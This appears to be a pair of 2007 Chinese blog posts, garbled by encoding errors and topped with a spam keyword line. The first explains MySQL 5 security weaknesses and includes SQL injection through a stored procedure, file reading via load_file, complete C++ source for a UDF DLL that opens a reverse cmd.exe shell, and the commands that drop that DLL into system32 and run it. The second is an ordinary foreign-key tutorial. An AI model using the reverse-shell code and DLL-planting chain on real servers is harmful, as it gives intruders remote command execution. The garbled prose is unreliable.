国产亚洲精品无码拍拍拍色欲,亚洲视频一区在线,亚洲春色另类小说

Mysql5中的安全斚w��的考虑

谭明 — Mon, 22 Oct 2007 01:54:00 GMT

Mysql5增加很多新的功能�Q�开始支持：(x��)存储�q�程、触发器、视图、信息架构视囄��新特。可以说�q�些都是发展的必�Ӟ��但是新的东西的出来，必定也会(x��)带来新的安全问题�Q�如Mysql4开始支持union查询、子查询。这直接��D��mysql注射更容易、广泛。mysql5的新功能�?x��)给安全带来什么新的东西呢�Q�下面我�l�大家介�l�下mysql5在安全方面的特点�Q?nbsp;

一、password authentication

mysql5的password()和mysql4.1一��P��采用的基于SHA1�?1位hash�Q?nbsp;

mysql> select password(’mypass’);
+-------------------------------------------+
| password(’mypass’) |
+-------------------------------------------+
| *6C8989366EAF75BB670AD8EA7A7FC1176A95CEF4 |
+-------------------------------------------+
1 row in set (0.00 sec)

在mysql4.1以前的password hashes是基�?6位md5�Q?nbsp;

mysql> SELECT PASSWORD(’mypass’);
+--------------------+
| PASSWORD(’mypass’) |
+--------------------+
| 6f8c114b58f2ce9e |
+--------------------+

当��用低版本的Client�q�接�Ӟ��回出现错误：(x��)Client does not support authentication protocol�Q��ؓ(f��)了解册��个问题，mysql5提供了一个old_password(),��q��当于mysql4.1以前的的password():

mysql> select old_password(’mypass’);
+------------------------+
| old_password(’mypass’) |
+------------------------+
| 6f8c114b58f2ce9e |
+------------------------+
1 row in set (0.09 sec)

二、数据字�?information_schema)

和mssql、oracle、db2�{�数据库一��P��mysql5提供了一个系�l�数据库�Q�information_schema
mysql> use information_schema;
Database changed
mysql> show tables;
+---------------------------------------+
| Tables_in_information_schema |
+---------------------------------------+
| CHARACTER_SETS |
| COLLATIONS |
| COLLATION_CHARACTER_SET_APPLICABILITY |
| COLUMNS |
| COLUMN_PRIVILEGES |
| KEY_COLUMN_USAGE |
| ROUTINES |
| SCHEMATA |
| SCHEMA_PRIVILEGES |
| STATISTICS |
| TABLES |
| TABLE_CONSTRAINTS |
| TABLE_PRIVILEGES |
| TRIGGERS |
| VIEWS |
| USER_PRIVILEGES |
+---------------------------------------+
16 rows in set (0.17 sec)

在这个数据库里我们可以得到很多信息，包括当前用户权限�Q?nbsp;
mysql> select * from information_schema.USER_PRIVILEGES;
+-----------+---------------+----------------+--------------+
| GRANTEE | TABLE_CATALOG | PRIVILEGE_TYPE | IS_GRANTABLE |
+-----------+---------------+----------------+--------------+
| ’KK1’@’%’ | NULL | USAGE | NO |
+-----------+---------------+----------------+--------------+
1 row in set (0.02 sec)

当前用户权限下可以访问的数据库，表，列名�Q�这个在sql注射中，��D��直接暴区数据库，表列名，再也不要‘暴力’咯）�Q?nbsp;

mysql> select TABLE_SCHEMA,TABLE_NAME,COLUMN_NAME from

information_schema.STATIS
TICS;
+--------------+------------+-------------+
| TABLE_SCHEMA | TABLE_NAME | COLUMN_NAME |
+--------------+------------+-------------+
| in | article | articleid |
| in | user | userid |
+--------------+------------+-------------+
2 rows in set (0.02 sec)

�q�可以得到当前用��h��限下的VIEWS�Q�ROUTINES�{�，关于ROUTINES我们在下面的‘存储�q�程’里详�l�介�l��?nbsp;

[ps:注意�?#8216;当前用户权限’如果是root�Q�那么太可以得到所有的数据库名�U�C��?qi��ng)表列名�{�等]

三、存储过�E?Stored Procedures)

’存储�q�程’的��用是mysql5的一个闪光点�Q�在带来方便的同�Ӟ��它也带来了新的安全隐�(zh��n)�：(x��)如sql注射�Q�用��h��限提升等�{��?nbsp;

D:\mysql5\bin>mysql -uroot -p
Enter password: ******
Welcome to the MySQL monitor. Commands end with ; or \g.
Your MySQL connection id is 4 to server version: 5.0.18

Type ’help;’ or ’\h’ for help. Type ’\c’ to clear the buffer.

mysql> use in
Database changed
mysql> delimiter //
mysql> CREATE PROCEDURE test(id INT)
-> BEGIN
-> SELECT * FROM in.USER WHERE USERID=ID;
-> END//
Query OK, 0 rows affected (0.08 sec)

mysql> delimiter ;

mysql> call test(1);
+--------+----------+----------+
| userid | username | password |
+--------+----------+----------+
| 1 | angel | mypass |
+--------+----------+----------+
1 row in set (0.00 sec)

Query OK, 0 rows affected (0.00 sec)

上面我们使用root在数据库in里创��Z��一个名为test的存储过�E��?nbsp;

a、SQL Injection

mysql> call test(1 and 1=1);
+--------+----------+----------+
| userid | username | password |
+--------+----------+----------+
| 1 | angel | mypass |
+--------+----------+----------+
1 row in set (0.00 sec)

Query OK, 0 rows affected (0.01 sec)

mysql> call test(1 and 1=2);
Empty set (0.00 sec)

Query OK, 0 rows affected (0.00 sec)

b、跨权限
存储�q�程是��承创��的权限的，如果存储�q�程是root创徏的，当其他普通用户��用这个存储过�E�时�Q�导致跨权限��d��Q?nbsp;

mysql> grant SELECT, INSERT, UPDATE, DELETE, EXECUTE
-> ON `IN`.*
-> TO ’KK1’@’%’
-> IDENTIFIED BY ’OBSCURE’;
Query OK, 0 rows affected (0.03 sec)

上面建立一个KK1的用户只在数据库in中有SELECT, INSERT, UPDATE, DELETE, EXECUTE权限�Q��用KK1登陆�Q?nbsp;
D:\mysql5\bin>mysql -uKK1 -p
Enter password: ******
Welcome to the MySQL monitor. Commands end with ; or \g.
Your MySQL connection id is 5 to server version: 5.0.18

Type ’help;’ or ’\h’ for help. Type ’\c’ to clear the buffer.

mysql> select ROUTINE_SCHEMA,ROUTINE_NAME,DEFINER,

ROUTINE_DEFINITION from inform
ation_schema.ROUTINES;
+----------------+--------------+----------------+--------------------+
| ROUTINE_SCHEMA | ROUTINE_NAME | DEFINER | ROUTINE_DEFINITION |
+----------------+--------------+----------------+--------------------+
| in | test | root@localhost | |
| in | tt | root@localhost | |
+----------------+--------------+----------------+--------------------+
2 rows in set (0.01 sec)

我们可以得到KK1可以使用存储�q�程in.test 其创��ؓ(f��)root@localhost。不�q�KK1没有权限得到ROUTINE_DEFINITION ��是in.test的代码。下面看看跨权限�Q?nbsp;

mysql> call in.test(1 and length(load_file(’c:/boot.ini’))>0);
+--------+----------+----------+
| userid | username | password |
+--------+----------+----------+
| 1 | angel | mypass |
+--------+----------+----------+
1 row in set (0.00 sec)

Query OK, 0 rows affected (0.01 sec)

mysql> call in.test(1 and length(load_file(’c:/boot.ini’))<0);
Empty set (0.00 sec)

Query OK, 0 rows affected (0.00 sec)

没有file权限的KK1可以使用in.test使用load_file()�Q�我们还可以直接对mysql.user�q�行select�Q�如果存储过�E�可以updata�Q�insert注射�Q�那么我们可以普通用��L(f��ng)��接通过注射来修改mysql.user里的数据�?nbsp;

四、User-Defined Function

[ps�Q�下面都是基于win�pȝ��]

mysql5的udf在格式和安全斚w��做一些新的改变：(x��)
1、格式要求更加严格[xxx_init()初始化函数]
对于没有xxx_init()初始化函�?nbsp;在以前的版本是可以��用的�Q�但是在mysql5下会(x��)出现Can’t find function ’xxx_init’ in library的错误，如：(x��)

mysql> create function ExitProcess returns integer soname ’kernel32’;
ERROR 1127 (HY000): Can’t find function ’ExitProcess_init’ in library

下面�l�出的代码是好友云舒写的�Q�符合mysql5的udf格式要求可以在mysql5下��用：(x��)

/*******************************
* File: MySQL_Shell.cpp
* Author: 云舒(wustyunshu at hotmail dot com)
* Date: 2005-12-12
********************************
#include
#include
#include

#define MAKE_DLL /* Build dll here */

#include "MySQL_Shell.h"

#pragma comment( lib, "ws2_32" )

#define BUFFER_SIZE 1024

////////////////////////////////
//函数原型
/////////////////////////////////

BOOL StartWith( char *, char * );
void LogMsg( char * );

//////////////////////////////////
//MySQL模块初始化函�?nbsp;
////////////////////////////////

LIB my_bool shell_init( UDF_INIT *init, UDF_ARGS *args, char *message )
{
if ( args->arg_count != 2 )
{
strcpy( message, "Shell() requires two arguments" );
return 1;
}

if ( (args->arg_type[0] != STRING_RESULT) || (args->arg_type[1] != STRING_RESULT) )
{
strcpy( message, "Shell() requires two string arguent" );
return 1;
}

return 0;
}

////////////////////////////////
//MySQL模块��d��能函敎ͼ�反向�q�接提供shell
/////////////////////////////////

LIB int shell( UDF_INIT *init, UDF_ARGS *args, char *is_null, char *error )
{
SOCKET sock;
SOCKADDR_IN sin;
int ret;

// Create socket
sock = socket( AF_INET, SOCK_STREAM, 0 );
if ( sock == INVALID_SOCKET )
{
strcpy( error, "Create socket error" );

return -1;
}

sin.sin_family = AF_INET;
sin.sin_port = htons( atoi(args->args[1]) );
sin.sin_addr.s_addr = inet_addr( args->args[0] );

//connect to remote server
ret = connect( sock, (struct sockaddr *)&sin, sizeof(sin) );
if( ret == SOCKET_ERROR )
{
strcpy( error, "Connect error" );

return -1;
}

SECURITY_ATTRIBUTES sa;

sa.nLength = sizeof( sa );
sa.lpSecurityDescriptor = 0;
sa.bInheritHandle = TRUE;

HANDLE hReadPipe1,hWritePipe1,hReadPipe2,hWritePipe2;

ret=CreatePipe( &hReadPipe1, &hWritePipe1, &sa, 0 );
ret=CreatePipe( &hReadPipe2, &hWritePipe2, &sa, 0 );

STARTUPINFO si;
ZeroMemory( &si, sizeof(si) );

GetStartupInfo( &si );

si.cb = sizeof( si );
si.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES;
si.wShowWindow = SW_HIDE;
si.hStdInput = hReadPipe2;
si.hStdOutput = si.hStdError = hWritePipe1;

PROCESS_INFORMATION processInfo;

char cmdLine[] = "cmd.exe";

ZeroMemory( &processInfo , sizeof(PROCESS_INFORMATION) );
ret = CreateProcess(NULL, cmdLine, NULL,NULL,1,0,NULL,NULL,&si,&processInfo);

char buff[BUFFER_SIZE] = { 0 };
unsigned long bytesRead = 0;
int i = 0;

while( TRUE )
{
memset( buff, 0, BUFFER_SIZE );

ret = PeekNamedPipe( hReadPipe1, buff, BUFFER_SIZE, &bytesRead, 0, 0 );

for(i = 0; i < 5 && bytesRead == 0; i++)
{
Sleep(100);
ret = PeekNamedPipe( hReadPipe1, buff, BUFFER_SIZE, &bytesRead, NULL, NULL );
}

if( bytesRead )
{
ret = ReadFile( hReadPipe1, buff, bytesRead, &bytesRead, 0 );
if( !ret ) break;

ret = send( sock, buff, bytesRead, 0 );
if( ret <= 0 ) break;
}
else
{
bytesRead = recv( sock, buff, BUFFER_SIZE, 0 );

if( bytesRead <= 0 ) break;

if( StartWith( buff , "exit" ) == TRUE ) break;

ret = WriteFile( hWritePipe2, buff, bytesRead, &bytesRead, 0 );
if( !ret ) break;
}
}

TerminateProcess( processInfo.hProcess, 0 );

CloseHandle( hReadPipe1 );
CloseHandle( hReadPipe2 );
CloseHandle( hWritePipe1 );
CloseHandle( hWritePipe2 );

closesocket( sock );

return 0;
}

///////////////////////////////////
//判断字符串是否以另一个字�W�串开�?nbsp;
////////////////////////////////////

BOOL StartWith( char *buf1, char *buf2 )
{
int len = strlen(buf2);

if( memcmp( buf1,buf2,len ) == 0 )
{
return TRUE;
}
return FALSE;
}

/////////////////////////////////////
//记录日志信息�Q�调试用
///////////////////////////////////

void LogMsg( char *msg )
{
FILE *fp;

fp = fopen( "C:\mysql.txt", "a+" );

fputs( msg, fp );

fclose( fp );
}

/********************************
* File: MySQL_Shell.h
* Author: 云舒(wustyunshu at hotmail dot com)
* Date: 2005-12-12
*********************************

#ifdef MAKE_DLL
#define LIB extern "C" __declspec(dllexport)
#else
#define LIB extern "C" __declspec(dllimport)
#endif

#define MYSQL_ERRMSG_SIZE 512 /* Max buffer size */

typedef char my_bool;

enum Item_result
{
STRING_RESULT,REAL_RESULT,INT_RESULT
};

typedef struct st_udf_args
{
unsigned int arg_count; /* Number of arguments */
enum Item_result *arg_type; /* Pointer to item_results */
char **args; /* Pointer to argument */
unsigned long *lengths; /* Length of string arguments */
char *maybe_null; /* Set to 1 for all maybe_null args */
} UDF_ARGS;

typedef struct st_udf_init
{
my_bool maybe_null; /* 1 if function can return NULL */
unsigned int decimals; /* for real functions */
unsigned int max_length; /* For string functions */
char *ptr; /* free pointer for function data */
char const_item; /* 0 if result is independent of arguments */
} UDF_INIT;

LIB my_bool shell_init( UDF_INIT *, UDF_ARGS *, char * );

LIB int shell( UDF_INIT *, UDF_ARGS *, char *, char * );

2、mysql5限制了udf对应的文件dll文�g只可以放在system32目录下�?nbsp;
对于一般低权限的系�l�用��h��没有对system32目录写权限的�Q�在�q�样的情况下我们可以使用into dumpfile把dll文�g攑ֈ�system32来突��_(d��)��具体如下�Q?nbsp;
mysql> use mysql;
Database changed
mysql> create table heige(line blob);
Query OK, 0 rows affected (0.50 sec)

mysql> insert into heige values(load_file(’c:/udf.dll’));
Query OK, 1 row affected (0.08 sec)

mysql> select * from heige into dumpfile ’c:/winnt/system32/heige.dll’;
Query OK, 1 row affected (0.18 sec)

mysql> create function shell returns integer soname ’heige.dll’;
Query OK, 0 rows affected (0.07 sec)

mysql> select * from mysql.func;
+-------+-----+-----------+----------+
| name | ret | dl | type |
+-------+-----+-----------+----------+
| shell | 2 | heige.dll | function |
+-------+-----+-----------+----------+
1 row in set (0.00 sec)

mysql> select shell(’127.0.0.1’,’1234’);
+---------------------------+
| shell(’127.0.0.1’,’1234’) |
+---------------------------+
| NULL |
+---------------------------+
1 row in set (0.97 sec)

五、参�?nbsp;
《MySQL 5.0 Reference Manual�?nbsp;http://dev.mysql.com/doc/refman/5.0/en/
《Hackproofing MySQL�?nbsp;http://www.ngssoftware.com/papers/HackproofingMySQL.pdf
《给mysql加个自定义函敎ͼ�windows�q�_��Q�》http://www.icylife.net/yunshu/show.php?id=244

谭明 2007-10-22 09:54 发表评论

在MySQL数据库中定义外键

谭明 — Wed, 17 Oct 2007 19:21:00 GMT

定义数据�?/span>

假如某个�?sh��)脑生��商，它的数据库中保存着整机和配件的产品信息。用来保存整��Z�品信息的表叫�?/span>pc�Q�用来保存配件供货信息的表叫�?/span>parts�?/span>

�?/span>pc表中有一个字�D�，用来描述�q�款�?sh��)脑所使用�?/span>CPU型号�Q�在parts表中相应有一个字�D�，描述的正�?/span>CPU的型��P��我们可以把它��x��是全�?/span>CPU的型号列表�?/span>

很显�Ӟ��q�个厂家生��的电(sh��)脑，其��用的CPU一定是供货信息�?/span>(parts)中存在的型号。这�Ӟ��两个表中��存在一�U�约束关�p?/span>(constraint)——pc表中�?/span>CPU型号受到parts表中型号的约束�?/span>

首先我们来创�?/span>parts表：(x��)

CREATE TABLE parts (

... 字段定义 ...,

model VARCHAR(20) NOT NULL,

... 字段定义 ...

);

接下来是PC表：(x��)

CREATE TABLE pc (

... 字段定义 ...,

cpumodel VARCHAR(20) NOT NULL,

... 字段定义 ...

};

讄��索引

若要讄��外键�Q�在参照�?/span> (referencing table�Q�即pc�?/span>) 和被参照�?/span>(referenced table�Q�即parts�?/span>)中，相对应的两个字段必须都设�|�烦�?/span>(index)�?/span>

�?/span>parts表：(x��)

ALTER TABLE parts ADD INDEX idx_model (model);

�q�句话的意思是�Q��ؓ(f��)parts表增加一个烦引，索引建立�?/span>model字段上，�l�这个烦引�v个名字叫idx_model�?/span>

�?/span>pc表也�c�M��Q?/span>

ALTER TABLE pc ADD INDEX idx_cpumodel (cpumodel);

事实上这两个索引可以在创��的时候就讄��。这里只是�ؓ(f��)了突出其必要性�?/span>

定义外键

下面��Z��张表之间建立前面所�q�的那种“�U�束”。因�?/span>pc�?/span>CPU型号必须参照parts表中的相应型��P��所以我们将pc表的cpumodel字段讄��?/span>“外键”(FOREIGN KEY)�Q�即�q�个键的参照值来自于其他表�?/span>

ALTER TABLE pc ADD CONSTRAINT fk_cpu_model

FOREIGN KEY (cpumodel)

REFERENCES parts(model);

�W�一行是说要�?/span>pc表设�|�外键，�l�这个外键�v一个名字叫�?/span>fk_cpu_model�Q�第二行是说��本表的cpumodel字段讄��为外键；�W�三行是说这个外键受到的�U�束来自�?/span>parts表的model字段�?/span>

�q�样�Q�我们的外键��搞好了�Q�如果我们试着CREATE一�?/span>pc�Q�它所使用�?/span>CPU的型��h��parts 表中不存在的�Q�那�?/span>MySQL�?x��)禁止这�?/span>PC�?/span>CREATE出来�?/span>

�U�联操作

考虑以下�q�种情况�Q?/span>

技术�h员发玎ͼ�一个月之前输入�?/span>parts表中的某个系列的cpu�Q�可能有很多�ƾ）的型号全都输错了一个字母，现在需要改正。我们希望的是，�?/span>parts表中那些 Referenced Column 有所变化�Ӟ��相应表中�?/span> Referencing Column 也能自动更正�?/span>

可以在定义外键的时候，在最后加入这��L(f��ng)��关键字：(x��)

ON UPDATE CASCADE;

卛_��主表更新�Ӟ��子表�Q�们�Q��生连锁更新动作，��g��有些人喜�Ƣ把�q�个�?/span>“�U�联”操作�?/span>

如果把这语句完整的写出来�Q�就是：(x��)

ALTER TABLE pc ADD CONSTRAINT fk_cpu_model

FOREIGN KEY (cpumodel)

REFERENCES parts(model)

ON UPDATE CASCADE;

除了CASCADE外，�q�有RESTRICT(��止主表变更)�?/span>SET NULL

谭明 2007-10-18 03:21 发表评论